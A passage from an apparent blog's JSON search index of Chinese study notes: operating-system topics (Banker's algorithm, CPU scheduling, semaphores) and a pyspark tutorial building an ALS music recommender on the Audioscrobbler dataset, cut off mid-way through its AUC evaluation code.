}"},{"title":"","date":"2019-09-26T08:24:00.000Z","updated":"2022-05-12T09:21:00.000Z","comments":true,"path":"notes/OS/bank.html","permalink":"https://blog.mhuig.top/notes/OS/bank","excerpt":"","text":"银行家算法 银行家算法 银行家算法（Banker’s Algorithm）是一个避免死锁（Deadlock）的著名算法，是由艾兹格・迪杰斯特拉在 1965 年为 T.H.E 系统设计的一种避免死锁产生的算法。它以银行借贷系统的分配策略为基础，判断并保证系统的安全运行。 背景在银行中，客户申请贷款的数量是有限的，每个客户在第一次申请贷款时要声明完成该项目所需的最大资金量，在满足所有贷款要求时，客户应及时归还。银行家在客户申请的贷款数量不超过自己拥有的最大值时，都应尽量满足客户的需要。在这样的描述中，银行家就好比操作系统，资金就是资源，客户就相当于要申请资源的进程。 进程 Allocation Max Available ＡＢＣＤ ＡＢＣＤ ＡＢＣＤP1 ００１４ ０６５６ １５２０ P2 １４３２ １９４２ P3 １３５４ １３５６P4 １０００ １７５０ 我们会看到一个资源分配表，要判断是否为安全状态，首先先找出它的 Need，Need 即 Max (最多需要多少资源) 减去 Allocation (原本已经分配出去的资源)，计算结果如下： NEEDＡＢＣＤ０６４２ ０５１００００２０７５０ 然后加一个全都为 false 的字段 FINISHfalsefalsefalsefalse 接下来找出 need 比 available 小的 (千万不能把它当成 4 位数 他是 4 个不同的数) NEED AvailableＡＢＣＤ ＡＢＣＤ０６４２ １５２００５１０&lt;-０００２０７５０ P2 的需求小于能用的，所以配置给他再回收 NEED AvailableＡＢＣＤ ＡＢＣＤ０６４２ １５２０００００ ＋１４３２０００２－－－－－－－０７５０ ２９５２ 此时 P2 FINISH 的 false 要改成 true (己完成) FINISHfalsetruefalsefalse 接下来继续往下找，发现 P3 的需求为 0002，小于能用的 2952，所以资源配置给他再回收 NEED AvailableＡＢＣＤ Ａ Ｂ Ｃ Ｄ０６４２ ２ ９ ５ ２００００ ＋１ ３ ５ ４００００－－－－－－－－－－０７５０ ３ 12 10 6 依此类推，做完 P4→P1，当全部的 FINISH 都变成 true 时，就是安全状态。 安全和不安全的状态如果所有过程有可能完成执行（终止），则一个状态（如上述范例）被认为是安全的。由于系统无法知道什么时候一个过程将终止，或者之后它需要多少资源，系统假定所有进程将最终试图获取其声明的最大资源并在不久之后终止。在大多数情况下，这是一个合理的假设，因为系统不是特别关注每个进程运行了多久（至少不是从避免死锁的角度）。此外，如果一个进程终止前没有获取其它能获取的最多的资源，它只是让系统更容易处理。 基于这一假设，该算法通过尝试寻找允许每个进程获得的最大资源并结束（把资源返还给系统）的进程请求的一个理想集合，来决定一个状态是否是安全的。不存在这个集合的状态都是不安全的。"},{"title":"","date":"2019-09-24T13:11:00.000Z","updated":"2022-05-12T09:14:00.000Z","comments":true,"path":"notes/OS/cpu.html","permalink":"https://blog.mhuig.top/notes/OS/cpu","excerpt":"","text":"CPU 调度 CPU 调度 基本概念CPU－I/O 区间周期进程执行由 CPU 和 I／O 等待周期组成。进程在这两个状态之间切换。 CPU 调度程序所谓 CPU 调度程序，其实就是：当 CPU 空闲时，操作系统如何从就绪队列中选择一个进程来执行的策略。 抢占调度 非抢占调度，一旦 CPU 分配给一个进程，那么该进程会一直使用 CPU 直到进程终止或切换到等待状态。 抢占调度，可能一个进程正在运行时，另一个新的进程也到来。而依据调度策略与当前各进程状态，新进程应该先执行。那么，新进程会抢占 CPU 进行执行，原进程切换到就绪状态。 分派程序分派程序是一个模块，用来将 CPU 的控制交给由短期调度程序选择的进程。 功能包括： 切换上下文 切换到用户模式 跳转到用户程序的合适位置，以重新启动程序 调度准则 CPU 使用率 吞吐量：一个时间单元内所完成进程的数量 周转时间：从进程提交到进程完成的时间段称为周转时间。 等待时间：为在就绪队列中等待所花费时间之和 响应时间：开始响应所需要的时间，响应时间指从进程提交到被运行第一段代码的时间 调度算法1. 先到先服务调度（FCFS）非抢占。 补充概念：护航效果：所有其他进程等待一个大进程释放 CPU 的状态 2. 最短作业优先调度（SJF）这一算法将每个进程与其下一个 CPU 区间段相关联。当 CPU 为空闲时，它会赋给具有最短 CPU 区间的进程。 如果两个进程具有同样长度，那可以使用 FCFS 调度来处理。 SJF 调度算法的平均等待时间最小。 SJF 的难点就是如何得知下一个 CPU 区间的长度。书上采用，预测下一个 CPU 区间为以前 CPU 区间的测量长度的指数平均。 T（n＋1）＝åt（n）＋（1-å）T（n） 抢占 SJF 调度：最短剩余时间优先调度 也存在非抢占 SJF 3. 优先级调度SJF 可作为通用优先级调度算法的一个特例 （书上默认）优先级越高，数值越小 即 优先级 1 比优先级 2 的优先级要高 优先级调度可以是抢占的或者非抢占的。 主要问题：无穷阻塞或饥饿＝》它可能会导致某个低优先级进程无线等待 CPU 解决：使用老化技术，以逐渐增加在系统中等待很长时间的进程的优先级 4. 轮转法调度（RR）定义一个较小时间单元，称为时间片。 将就绪队列保存为进程的 FIFO 队列。新进程增加到就绪队列的尾部。CPU 调度程序就从就绪队列中选择第一个进程，设置定时器在一个时间片之后中断，再分排该进程。（1 进程在时间片中运行完，进程自动释放 CPU，下一个进程开始执行 2. 进程未在时间片内执行完，定时器产生中断并产生操作系统中断，然后进行上下文切换，将进程加入到就绪队列的尾部，就绪队列中下一个进程开始执行） 该策略的平均等待时间通常较长 具体效率和时间片大小有关 适合分时（交互系统） 5. 多级队列调度将就绪队列分成多个独立队列，每个队列有自己的调度算法，每个队列有自己的优先级 6. 多级反馈队列调度在上面的基础上，允许等待时间过长的进程转移到更高优先级的队列"},{"title":"","date":"2019-09-12T01:45:00.000Z","updated":"2022-05-12T09:17:00.000Z","comments":true,"path":"notes/OS/fdd.html","permalink":"https://blog.mhuig.top/notes/OS/fdd","excerpt":"","text":"前驱图和程序执行 前驱图和程序执行 在多道程序环境中，允许多个程序并发执行；程序本身是具体代码，不能反映程序的执行过程从而引入进程。进程是抽象的。作为资源分配和独立运行的基本单位是进程。操作系统所有的特征都是基于进程而体现的。 程序顺序执行时的特征 顺序性：每个操作在上一操作结束后开始 封闭性：程序开始执行，其执行结果不受外界因素影响 可再现性：只要环境和初始条件相同，其执行结果一定相同 前驱图前驱图是一个有向无循环图（DAG)，用于描述进程之间执行的前后关系。 注意：前驱图中不能存在循环。 程序并发执行及其特征 间断性： 共享资源 -&gt; 相互制约 -&gt; 执行 - 暂停 - 执行 失去封闭性： 一个程序的执行受到其他程序的影响 不可再现性 结论并发是提高资源利用率的好方法，从而提高系统吞吐量，所以程序尽量并发执行。 1）串行是顺序执行； 2）并发是交叉使用设备； 3）并行使用多个处理机 — 更快。"},{"title":"","date":"2022-05-10T06:58:00.000Z","updated":"2022-05-10T06:58:00.000Z","comments":true,"path":"notes/OS/index.html","permalink":"https://blog.mhuig.top/notes/OS/","excerpt":"","text":".fa-secondary{opacity:.4} OS OS .prev-next{ display: none !important; }"},{"title":"","date":"2019-09-11T11:03:00.000Z","updated":"2022-05-12T09:14:00.000Z","comments":true,"path":"notes/OS/introduction.html","permalink":"https://blog.mhuig.top/notes/OS/introduction","excerpt":"","text":"操作系统引论 操作系统引论 操作系统（OS）是配置在计算机硬件上的第一层软件，是对硬件系统的首次扩充。 操作系统的定义OS 是一组控制和管理计算机硬件和软件资源，合理地对各类作业进行调度（合理地组织计算机工作），以及方便用户使用的程序的集合 操作系统的目标和作用操作系统的目标 方便性 * 有效性 * 提高系统资源利用率 提高系统吞吐量 可扩充性 开放性 遵循世界标准规范 方便性和有效性是设计操作系统时最重要的两个目标。 操作系统的作用 OS 作为用户与计算机硬件系统之间的接口（用户的角度） 三种方式使用计算机： 命令行方式 系统调用方式 图标窗口方式 OS 作为计算机系统资源的管理者（资源管理角度） 对四类资源进行管理： 处理机管理 存储器管理 I/O 设备管理 文件管理 资源管理包含两种资源共享的使用方法： 分时 多个用户分时地使用该资源 空分 存储资源的空间可以被多个用户共同以分割的方式占用。 OS 实现了对计算机资源的抽象（扩充机器） 裸机 虚拟机 / 扩展机 推动操作系统发展的主要动力 不断提高计算机资源利用率 方便用户 机器的不断更新换代 计算机体系结构的不断发展 不断提出新的应用需求 操作系统的发展过程无操作系统的计算机系统 人工操作方式 缺点： 用户独占全机 CPU 等待人工操作 人机矛盾 CPU 与 I/O 设备之间速度不匹配的矛盾 工作效率低 脱机输入 / 输出（Off-Line I/O）方式 程序和数据的输入和输出都是在外围机的控制之下完成的， 即：程序和数据的输入和输出是在脱离主机的情况下进行 脱机 I/O 的主要优点 减少了 CPU 的空闲时间 提高 I/O 速度，缓和了 CPU 和 I/O 设备间不匹配的矛盾 单道批处理操作系统 单道批处理系统的处理过程 批处理系统旨在提高系统资源的利用率和系统吞吐量. 特征: 自动性 顺序性 单道性 单道批处理系统的缺点最主要缺点：系统中的资源得不到充分利用 多道批处理操作系统 多道程序设计的基本概念： 内存同时驻留多道程序 (作业)，处理机 (单处理机) 以交替的方式同时处理多道程序。 宏观：已有多道程序开始运行且尚未结束； 微观：某一时刻处理机只运行某道作业。 好处： 提高 CPU 的利用率； 可提高内存和 I/O 设备的利用率； 增加系统吞吐量。 能提高吞吐量的原因： 使 CPU 和资源保持 “忙碌” 状态； 仅当作业完成或运行不下去时才进行切换，系统开销小。 特征 多道性 无序性：作业完成的先后顺序和他们进入内存的顺序并无严格的对应关系 调度性: A、作业调度 B、进程调度 优点： 资源利用率高 系统吞吐量大 缺点： 平均周转时间长 作业的周转时间是指从作业进入系统开始，直至其完成并退出系统为止所经历的时间。 无交互能力 推动多道批处理系统形成和发展的主要动力是提高资源利用率和系统吞吐量； 分时操作系统 推动分时系统形成和发展的主要动力，则是用户的需求（人 —— 机交互）。 工作方式 一台主机连接了若干个终端；每个终端有一个用户在使用； 交互式的向系统提出命令请求； 系统接受每个用户的命令采用时间片轮转方式处理服务请求并通过交互方式在终端上向用户显示结果，用户根据上步结果发出下道命令。 关键问题: 及时接收 及时处理 作业直接进入内存，在内存才能处理； 采用轮转运行方式。 不允许一个作业长期占用处理机； 规定每个作业只能运行很短的时间，使每个用户及时与自己的作业交互，从而用户请求得到及时响应。 特点 多路性：即同时性（宏观的同时） 交互性 独立性：用户好像独占主机 及时性 实时操作系统 定义 是指系统能及时响应外部事件的请求，在规定的时间内完成对该事件的处理，并控制所有实时任务协调一致地运行。 实时系统与分时系统特征的比较 多路性 独立性 及时性 交互性 可靠性 操作系统的基本特性 并发性 间断性 失去封闭性 不可再现性 共享性 互斥共享（临界资源） 同时访问（eg：同时读磁盘） 虚拟技术 时分复用技术 虚拟处理机技术 虚拟设备技术 空分复用技术 虚拟磁盘技术 虚拟存储器技术（内存） 异步性 OS 结构设计 无结构 OS 模块化 OS 分层式 OS 微内核 OS 微内核技术：是指精心设计的、能实现现代操作系统核心功能的小型内核，运行在核心态，开机后常驻内存。 常驻内存的好处：因为 CPU 只访问内存，速度快、效率高。 微内核 OS 优点： 提高系统的可扩展性 增强系统的可靠性 可移植性强 提供对分布式系统的支持 融入面向对象技术"},{"title":"","date":"2019-09-12T01:54:00.000Z","updated":"2022-05-12T09:14:00.000Z","comments":true,"path":"notes/OS/process.html","permalink":"https://blog.mhuig.top/notes/OS/process","excerpt":"","text":"进程的描述 进程的描述 为了能使程序并发执行，并且可以对并发执行的程序加以描述和控制，人们引入了 “进程” 的概念。 进程的特征和定义结构特征进程实体是由程序段、数据段及进程、控制块（PCB）三部分组成. UNIX 中将这三部分称为 “进程映像”。 创建进程：创建进程实体中的进程控制块（PCB）。 撤销进程：撤销进程实体中的进程控制块（PCB）。 进程的特征 动态性 并发性 独立性 异步性"},{"title":"","date":"2019-09-24T13:13:00.000Z","updated":"2022-09-06T02:22:00.000Z","comments":true,"path":"notes/OS/semaphore.html","permalink":"https://blog.mhuig.top/notes/OS/semaphore","excerpt":"","text":"信号量机制 进程同步之信号量机制 信号量（semaphore）的数据结构为一个值和一个指针，指针指向等待该信号量的下一个进程。信号量的值与相应资源的使用情况有关。 信号量机制信号量机制即利用 pv 操作来对信号量进行处理。 什么是信号量？信号量（semaphore）的数据结构为一个值和一个指针，指针指向等待该信号量的下一个进程。信号量的值与相应资源的使用情况有关。 当它的值大于 0 时，表示当前可用资源的数量； 当它的值小于 0 时，其绝对值表示等待使用该资源的进程个数。 注意，信号量的值仅能由 PV 操作来改变。 一般来说，信号量 S$\\ge$0 时，S 表示可用资源的数量。执行一次 P 操作意味着请求分配一个单位资源，因此 S 的值减 1；当 S&lt;0 时，表示已经没有可用资源，请求者必须等待别的进程释放该类资源，它才能运行下去。而执行一个 V 操作意味着释放一个单位资源，因此 S 的值加 1；若 S£0，表示有某些进程正在等待该资源，因此要唤醒一个等待状态的进程，使之运行下去。 经典伪代码p 操作（wait）：申请一个单位资源，进程进入 wait(semaphore *S){ S-&gt;value--; if(S-&gt;value&lt;0) block(S-&gt;list);} v 操作（signal）：释放一个单位资源，进程出来 signal(semaphore *S){ S-&gt;value++; if(S-&gt;value&lt;=0) wakeup(S-&gt;list);} 综合训练专题"},{"title":"","date":"2020-08-02T07:34:00.000Z","updated":"2022-05-10T02:09:00.000Z","comments":true,"path":"notes/Spark/als.html","permalink":"https://blog.mhuig.top/notes/Spark/als","excerpt":"","text":"ALS 基于 Audioscrobbler 数据集的音乐推荐 (pyspark) 根据用户播放次数数据使用协同过滤算法完成音乐推荐。 数据集Audioscrobbler 数据集 下载 Audioscrobbler 数据集 user_artist_data.txt它包含 141000 个用户和 160 万个艺术家，记录了约 2420 万条用户播放艺术家歌曲的信息，其中包括播放次数信息。播放次数较多意味着该用户更喜欢对应艺术家的作品。 userid artistid playcount 用户 ID 艺术家 ID 播放次数 1000002 1 55 artist_data.txt该文件包含两列： artistid artist_name 艺术家 ID 艺术家名字。文件中给出了每个艺术家的 ID 和对应的名字。此文件用于 ID 与名字的转换。 artistid artist_name 艺术家 ID 艺术家名 1134999 06Crazy Life artist_alias.txt该文件包含两列: badid, goodid 坏 ID 好 ID 。该文件包含已知错误拼写的艺术家 ID 及其对应艺术家的正规的，用于将拼写错误的艺术家 ID 或 ID 变体对应到该艺术家正确的 ID。 badid goodid 坏 ID 好 ID 1092764 1000311 算法交替最小二乘推荐算法 (Alternating Least Squares，ALS)人们虽然经常听音乐，但很少给音乐评分。因此 Audioscrobbler 数据集覆盖了更多的用户和艺术家，也包含了更多的总体信息，虽然单条记录的信息比较少。这种类型的数据通常被称为隐式反馈数据，因为用户和艺术家的关系是通过其他行动隐含体现出来的，而不是通过显式的评分或点赞得到的。 根据两个用户的相似行为判断他们有相同的偏好，学习算法不需要用户和艺术家的属性信息。这类算法通常称为协同过滤算法。 潜在因素模型：试图通过数据相对少的未被观察到的底层原因，来解释大量用户和产品之间可观察到的交互。因子分析方法背后的理论是，有关观测变量之间的相互依赖性的信息可以稍后用于减少数据集中的变量集。 矩阵分解模型：数学上，算法把用户和产品数据当成一个大矩阵 R，矩阵第 i 行和第 j 列上的元素有值，代表用户 i 播放过艺术家 j 的音乐。矩阵 R 是稀疏的：R 中大多数元素都是 0，因为相对于所有可能的用户 - 艺术家组合，只有很少一部分组合会出现在数据中。算法将 R 分解为两个小矩阵 U 和 P 的乘积。矩阵 U 和矩阵 P 非常 “瘦”。因为 A 有很多行和列，但 U 和 P 的行很多而列很少（列数用 k 表示）。这 k 个列就是潜在因素，用于解释数据中的交互关系。由于 k 的值小，矩阵分解算法只能是某种近似。 为了使低秩矩阵 P 和 U 尽可能的逼近 R，可以通过最小化如下损失函数 L 来完成。 损失函数公式与上图对应：表示用户 i 的偏好隐含向量，表示艺术家 j 包含的隐含特征向量，表示用户 i 对艺术家 j 的评分，是用户 i 对艺术家 j 评分的近似。其中 λ 是正则化项的系数，损失函数一般需要加入正则化项来避免过拟合等问题。 于是就简化为一个最小化损失函数 L 的优化问题。用户 - 特征矩阵和特征 - 艺术家矩阵的乘积的结果是对整个稠密的用户 - 艺术家相互关系矩阵的完整估计。该乘积可以理解成艺术家与其属性之间的一个映射，然后按用户属性进行加权。 通常没有确切的解，因为 U 和 P 通常不够大，不足以完全表示 R， 应该尽可能逼近 R。然而不幸的是，想直接同时得到 U 和 P 的最优解是不可能的。 如果 P 已知，求 U 的最优解是非常容易的，反之亦然。但 P 和 U 事先都是未知的。 虽然 P 是未知的，但可以把 P 初始化为随机行向量矩阵。接着运用简单的线性代数，就能在给定 R 和 P 的条件下求出 U 的最优解。实际上，U 的第 i 行是 R 的第 i 行和 P 的函数。 因此可以很容易分开计算 U 的每一行。因为 U 的每一行可以分开计算，所以我们可以将其并行化，而并行化是大规模计算的一大优点。 ALS 是求解的著名算法，固定 P 或 U 对其对应的隐含向量求偏导数并令导数为 0，得到求解公式： 随机对 P、Q 初始化，随后交替进行优化直到收敛。收敛标准是均方误差小于预定义阈值，或者到达最大迭代次数。 推荐质量评价指标 AUCAUC 指标是一个 [0,1] 之间的实数，代表如果随机挑选一个正样本和一个负样本，分类算法将这个正样本排在负样本前面的概率。值越大，表示分类算法更有可能将正样本排在前面，也即算法准确性越好。 随机抽出一对样本（一个正样本，一个负样本），然后用训练得到的分类器来对这两个样本进行预测，预测得到正样本的概率大于负样本概率的概率。正样本负样本在有 M 个正样本，N 个负样本的数据集里。一共有 M×N 对样本（一对样本，一个正样本与一个负样本）。统计这 M×N 对样本里，正样本的预测概率大于负样本的预测概率的个数。正样本负样本其中， 实验过程数据预处理artist_data.txt 文件 数据最终处理成以逗号分割 artist_data.txt 文件 两列之间的间隔有的是空格有的是 Tab，第二列数据中包含空格 因第二列数据中含有逗号和空格，数据最终处理成以 Tab 分割 去除第一列不是数字的行 artist_alias.txt 文件 将拼写错误的艺术家 ID 或 ID 变体对应到该艺术家的规范 ID 两列之间的间隔有的是空格有的是 Tab 包含数据缺失的列 在数据处理时对拼写错误 ID 进行映射，用别名数据集将所有的艺术家 ID 转换成正规 ID。 aa={}with open(\"/export/work/F/1/data/artist_alias.txt\") as f: line = f.readline() while line: if len(line.split())==2: aa[line.split()[0]]=line.split()[1] line = f.readline()f3=open(\"/export/work/F/1/data/user_artist_data.txt.data\",\"w+\")with open(\"/export/work/F/1/data/user_artist_data.txt\") as f2: line = f2.readline() while line: it=line.split() if it[1] in aa: it[1]=aa[it[1]] print(it[0]+\",\"+it[1]+\",\"+it[2],file=f3) line = f2.readline()f3.close()f5=open(\"/export/work/F/1/data/artist_data.txt.data\",\"w+\")with open(\"/export/work/F/1/data/artist_data.txt\") as f4: line = f4.readline() while line: it=line.split() s=\"\" for i in range(len(it)): s+=it[i] if i==0: s+=\" \" elif i==len(it)-1: s+=\"\" else: s+=\" \" print(s,file=f5) line = f4.readline()f7=open(\"/export/work/F/1/data/artist_data.txt.data2\",\"w+\")with open(\"/export/work/F/1/data/artist_data.txt.data\") as f6: line = f6.readline() while line: it=line.split(\" \") try: a=int(it[0]) print(str(a)+\" \"+it[1],file=f7,end=\"\") except: pass line = f6.readline() 预处理后得到的数据集 artist_data user_artist_data 获取数据文件，并上传至 HDFS 读入数据，转换成 DataFrame 备用from pyspark.sql.types import Rowfrom pyspark.sql.types import StructTypefrom pyspark.sql.types import StructFieldfrom pyspark.sql.types import StringType,IntegerTypefrom pyspark.conf import SparkConffrom pyspark import SparkContextfrom pyspark.sql.session import SparkSession# 转换成DataFramename1=[\"user\", \"item\", \"rating\"]name2=[\"id\",\"name\"]conf = SparkConf().setAppName(\"applicaiton\").set(\"spark.executor.heartbeatInterval\",\"500000\").set(\"spark.network.timeout\",\"500000\")sc = SparkContext.getOrCreate(conf)spark = SparkSession(sc)uaRDD = sc.textFile(\"/1/user_artist_data.txt.data\")fields = list(map( lambda fieldName : StructField(fieldName, IntegerType(), nullable = True), name1))schema = StructType(fields)rowRDD = uaRDD.map(lambda line : line.split(\",\")).map(lambda attr : Row(int(attr[0]),int(attr[1]),int(attr[2])))uaDF = spark.createDataFrame(rowRDD, schema)aRDD = sc.textFile(\"/1/artist_data.txt.data2\")fields = list(map( lambda fieldName : StructField(fieldName, IntegerType(), nullable = True) if fieldName==\"id\" else StructField(fieldName, StringType(), nullable = True) , name2))schema = StructType(fields)rowRDD =aRDD.map(lambda line : line.split(\" \")).map(lambda attr : Row(int(attr[0]),attr[1]))aDF = spark.createDataFrame(rowRDD, schema) 展示数据格式基本统计信息数据格式 uaDF.show()+-------+-------+------+| user| item|rating|+-------+-------+------+|1000002| 1| 55||1000002|1000006| 33||1000002|1000007| 8||1000002|1000009| 144||1000002|1000010| 314||1000002|1000013| 8||1000002|1000014| 42||1000002|1000017| 69||1000002|1000024| 329||1000002|1000025| 1||1000002|1000028| 17||1000002|1000031| 47||1000002|1000033| 15||1000002|1000042| 1||1000002|1000045| 1||1000002|1000054| 2||1000002|1000055| 25||1000002|1000056| 4||1000002|1000059| 2||1000002|1000062| 71|+-------+-------+------+only showing top 20 rows 基本统计信息用户数 a=uaDF.select(uaDF.user).distinct().count()print(a)148111 艺术家数目 b=uaDF.select(uaDF.item).distinct().count()print(b)1568126 每用户平均播放次数 uaDF.drop(\"item\").groupBy(\"user\").agg({\"rating\":\"mean\"}).show()+-------+------------------+| user| avg(rating)|+-------+------------------+|1000190|55.355432780847146||1001043|6.0131578947368425||1001129| 12.32748538011696||1001139| 8.652557319223986||1002431|12.833333333333334||1002605|3.5392670157068062||1004666| 9.79409594095941||1005158|1.9245283018867925||1005439|28.333333333333332||1005697|11.733333333333333||1005853| 2.5||1007007| 2.443396226415094||1007847|14.333333333333334||1008081|31.232876712328768||1008233| 90.0||1008804| 9.0||1009408| 4.666666666666667||1012261|3.2887640449438202||1015587| 9.46||1016416| 8.241935483870968|+-------+------------------+only showing top 20 rows 每艺术家平均播放次数 uaDF.drop(\"user\").groupBy(\"item\").agg({\"rating\":\"mean\"}).show()+-------+------------------+| item| avg(rating)|+-------+------------------+|1001129|10.578309692671395||1003373|2.3333333333333335||1007972|18.156831042845596||1029443| 20.54196642685851||1076507| 2.969264544456641||1318111|5.6902654867256635|| 833| 9.483282674772036||1239413| 3.821794871794872||1000636| 2.0||1002431|1.7142857142857142||1005697| 3.5||1040360| 1.0||1043263|1.9166666666666667||1245208|19.613390928725703|| 463| 34.3479262672811||1043126|14.580645161290322||1001601| 3.573529411764706||1091589| 2.5||1004021| 6.96403785488959||1012885| 4.744927536231884|+-------+------------------+only showing top 20 rows 构建 ALS 模型构建 ALS 模型，并记录所耗时间。初始参数：Rank 10, maxiter 15, RegParm 0.01 Alpha 1.0。 from pyspark.ml.recommendation import ALS,ALSModelimport randomimport timestart = time.time()als = ALS(rank=10,maxIter=15,regParam=0.01,alpha=1.0,seed=int(random.random()*100))model=als.fit(uaDF)end = time.time()print (\"时间:\"+str(end-start)) 输出结果： 时间:785.1817960739136 这样我们就构建了一个 ALSModel 模型。 模型用两个不同的 DataFrame，它们分别表示 “用户 - 特征” 和 “产品 - 特征” 这两个大型矩阵。 检查推荐结果依据构建的模型，选择部分 ID 检查推荐结果。 看看模型给出的艺术家推荐直观上是否合理，检查一下用户播放过的艺术家，然后看看模型向用户推荐的艺术家。具体来看看用户 2093760 的例子。 userID = 2093760a=uaDF.rdd.filter(lambda x:x[0]==userID).collect() 查看用户输出结果： [Row(user=2093760, item=1180, rating=1), Row(user=2093760, item=1255340, rating=3), Row(user=2093760, item=378, rating=1), Row(user=2093760, item=813, rating=2), Row(user=2093760, item=942, rating=7)] 获取艺术家 ID： artistid=[]for i in a: artistid.append(i.item) 输出结果： [1180, 1255340, 378, 813, 942] 要提取该用户收听过的艺术家 ID 并打印他们的名字，这意味着先在输入数据中搜索该用户收听过的艺术家的 ID，然后用这些 ID 对艺术家集合进行过滤，这样我们就可以获取并按序打印这些艺术家的名字： b=aDF.rdd.filter(**lambda** x: x[0] **in** artistid).collect() 输出结果： [Row(id=1180, name='David Gray'), Row(id=378, name='Blackalicious'), Row(id=813, name='Jurassic 5'), Row(id=1255340, name='The Saw Doctors'), Row(id=942, name='Xzibit')] 用户播放过的艺术家既有大众流行音乐风格的也有嘻哈风格的。 使用 Spark2.4.6 自带的 recommendForUserSubset 方法，对所有艺术家评分，并返回向用户 2093760 推荐其中分值最高的前 5 位。 d=sc.parallelize([(2093760,1)]).toDF(['user']) t=model.recommendForUserSubset(d,5) t.show() 输出结果： +-------+--------------------+ | user| recommendations|+-------+--------------------+|2093760|[[6674945, 4997.0...|+-------+--------------------+ 遍历打印一下： t.select(\"recommendations\").rdd.foreach(**lambda** x:**print**(x)) 输出： Row(recommendations=[ Row(item=6674945, rating=4997.056640625), Row(item=1170225, rating=1805.596435546875), Row(item=1153293, rating=1753.0908203125), Row(item=6730413, rating=1233.61767578125), Row(item=183, rating=1169.90234375)]) 结果全部是嘻哈风格。能看出，这些推荐都不怎么样。虽然推荐的艺术家都受人欢迎，但好像并没有针对用户的收听习惯进行个性化。 训练 - 验证切分训练 - 验证切分，采用初始参数，重新训练模型。 为了利用输入数据，需要把它分成训练集和验证集。训练集只用于训练 ALS 模型，验证集用于评估模型。这里将 90% 的数据用于训练，剩余的 10% 用于交叉验证： train,test=uaDF.randomSplit([0.9,0.1])als = ALS(rank=10,maxIter=15,regParam=0.01,alpha=1.0,seed=int(random.random()*100),implicitPrefs=True)model=als.fit(train)train.cache()test.cache() 计算 AUC接受一个交叉验证集和一个预测函数，交叉验证集代表每个用户对应的 “正面的” 或 “好的” 艺术家。预测函数把每个包含 “用户 - 艺术家” 对的 DataFrame 转换为一个同时包含 “用户 - 艺术家” 和 “预测” 的 DataFrame，“预测” 表示 “用户” 与 “艺术家” 之间关联的强度值，这个值越高，代表推荐的排名越高。 allArtistIDs = uaDF.select(\"item\").distinct().collect()import numpyallArtistID = []for i in range(len(allArtistIDs)): allArtistID.append(allArtistIDs[i][\"item\"])def f(a,b): posItemIDSet = set(list(b)) negative = [] i = 0 while (i &lt; len(allArtistID)) and (len(negative) &lt; len(posItemIDSet)): artistID = allArtistID[numpy.random.randint(1, high=len(allArtistID), size=None, dtype='l')] if artistID not in posItemIDSet: negative.append(artistID) i += 1 s=list() for i in negative: s.append((a,i)) return s# 计算AUCimport pyspark.sql.functions as funcdef areaUnderCurve(positiveData,allArtistIDs,predictFunction): positivePredictions = predictFunction(positiveData.select(\"user\", \"item\")).withColumnRenamed(\"prediction\", \"positivePrediction\") negativeDatatmp = positiveData.select(\"user\", \"item\").rdd.groupByKey().map(lambda x: f(x[0],x[1])).collect() negativeDatalist=[] for i in negativeDatatmp: for j in i: negativeDatalist.append(j) negativeData=spark.createDataFrame(negativeDatalist,['user','item']) negativePredictions = predictFunction(negativeData.select(\"user\", \"item\")).withColumnRenamed(\"prediction\", \"negativePrediction\") joinedPredictions = positivePredictions.join(negativePredictions, \"user\").select(\"user\", \"positivePrediction\", \"negativePrediction\") allCounts = joinedPredictions.groupBy(\"user\").agg(func.count(func.lit(1)).alias(\"total\")).select(\"user\", \"total\") correctCounts = joinedPredictions.filter(joinedPredictions[\"positivePrediction\"] &gt; joinedPredictions[\"negativePrediction\"]).groupBy(\"user\").agg(func.count(\"user\").alias(\"correct\")).select(\"user\", \"correct\") meanAUCtemp = allCounts.join(correctCounts, \"user\", \"left_outer\") meanAUC = meanAUCtemp.select(\"user\", (meanAUCtemp[\"correct\"] / meanAUCtemp[\"total\"]).alias(\"auc\")).agg(func.mean(\"auc\")).first() try: joinedPredictions.unpersist() except: pass return meanAUC mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform)print(mostListenedAUC) 输出结果： Row(avg(auc)=0.9098560946043145) 有必要把上述方法和一个更简单方法做一个基准比对。举个例子，考虑下面的推荐方法：向每个用户推荐播放最多的艺术家。这个策略一点儿都不个性化，但它很简单，也可能有效。定义这个简单预测函数并评估它的 AUC 得分： def predictMostListened(data): listenCounts = train.groupBy(\"item\").agg({\"rating\":\"sum\"}).withColumnRenamed(\"sum(rating)\", \"prediction\").select(\"item\", \"prediction\") uaDF.join(listenCounts, [\"item\"], \"left_outer\").select(\"user\", \"item\", \"prediction\") listenCounts = uaDF.groupBy(\"item\").agg({\"rating\":\"sum\"}).withColumnRenamed(\"sum(rating)\", \"prediction\").select(\"item\", \"prediction\") return data.join(listenCounts, [\"item\"], \"left_outer\").select(\"user\", \"item\", \"prediction\")mostListenedAUC = areaUnderCurve(test, allArtistIDs, predictMostListened)print(mostListenedAUC) 输出结果： Row(avg(auc)=0.9578054887285846) 结果得分大约是 0.96。这意味着，对 AUC 这个指标，非个性化的推荐表现已经不错了。然而，我们想要的是得分更高，也就是更为 “个性化” 的推荐。显然这个模型还有待改进。调整超参数，使推荐结果更合理。 选择超参数Rank 可选（5,30）RegParam 可选（4.0,0.0001）,alpha 可选（1.0,40.0）。合计 8 种参数组合。 可以把 rank、regParam 和 alpha 看作模型的超参数。（maxIter 更像是对分解过程使用的资源的一种约束。）这些值不会体现在 ALSModel 的内部矩阵中，这些矩阵只是参数，其值由算法选定。超参数则是构建过程本身的参数。 def TrainALS(rank,regParam,alpha,dir): als = ALS(rank=rank,maxIter=15,regParam=regParam,alpha=alpha,seed=int(random.random()*100),implicitPrefs=True) model=als.fit(train) model.save(\"/model/ALS/Try2/\"+str(dir)) try: model.userFactors.unpersist() model.itemFactors.unpersist() except: pass 构建模型 dir=0for rank in [5,30]: for regParam in [4.0,0.0001]: for alpha in [1.0,40.0]: dir=dir+1 TrainALS(rank,regParam,alpha,dir) 加载模型计算 AUC 得分： try: model=ALSModel.load(\"/model/ALS/Try2/1\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform) print((mostListenedAUC,(5,4.0,1.0)))except: print((\"ERROR\",(5,4.0,1.0)))try: model=ALSModel.load(\"/model/ALS/Try2/2\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, model.transform) print((mostListenedAUC,(5,4.0,40.0)))except: print((\"ERROR\",(5,4.0,40.0)))try: model=ALSModel.load(\"/model/ALS/Try2/3\") mostListenedAUC = areaUnderCurve(test, allArtistIDs, 